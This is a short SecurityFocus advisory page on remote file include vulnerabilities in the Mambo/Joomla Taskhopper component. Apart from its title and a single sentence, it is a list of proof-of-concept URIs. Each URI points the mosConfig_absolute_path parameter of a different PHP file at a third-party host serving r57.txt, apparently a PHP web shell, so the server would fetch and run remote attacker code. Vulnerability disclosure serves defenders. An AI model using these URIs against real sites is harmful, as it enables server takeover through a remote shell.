Mambo/Joomla Taskhopper MosConfig_Absolute_Path Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/contact_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/itemstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/projectstatus_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/request_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/responses_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/timelog_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?
http://www.example.com/urgency_type.php?mosConfig_absolute_path=http://nachrichtenmann.de/r57.txt?


 

Privacy Statement
Copyright 2010, SecurityFocus